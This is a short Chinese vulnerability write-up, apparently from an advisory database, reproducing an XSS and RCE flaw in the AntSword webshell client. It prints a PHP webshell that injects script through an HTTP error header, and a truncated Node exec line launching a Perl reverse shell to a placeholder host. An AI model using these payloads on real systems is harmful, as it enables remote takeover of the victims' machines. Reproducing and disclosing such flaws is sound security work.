AntSword XSS/RCE

- AV AC AU C I A
发布: 2025-04-13
修订: 2025-04-13

### 前言 在中国蚁剑的GitHub项目主页,发现有人提交了一个问题,中国蚁剑存在XSS和RCE漏洞 ![](https://images.seebug.org/1555054353120-w331s) 中国蚁剑的GitHub项目问题页面 看到这里我决定搭建环境,本地复现一下 ### 复现 1 环境准备 由于我比较懒,我就使用集成环境Xmapp了,它刚好有Apache和PHP环境。 ![](https://images.seebug.org/1555054564905-w331s) Xmapp 那么这台安装了Xmapp的服务器就当做被攻击者黑掉的对象 既然被黑了,那肯定上了webshell。 2 准备webshell 准备两个webshell,一个是验证XSS的webshell,一个是验证RCE的webshell,RCE的webshell还可以用来直接反弹攻击者的shell XSS的WebShell如下: ``` <?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>'); ``` 我们把它放到Xmapp的DashBoard目录下,然后添加到中国蚁剑运行即可看到效果 ![](https://images.seebug.org/1555054615295-w331s) Xmapp ![](https://images.seebug.org/1555054643024-w331s) 中国蚁剑 ![](https://images.seebug.org/1555054677150-w331s) XSS 现在我们来反弹攻击者的shell ``` require('child_process').exec('perl -e \'use Socket;$i="vpsip";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{...

0%
暂无可用Exp或PoC
当前有0条受影响产品信息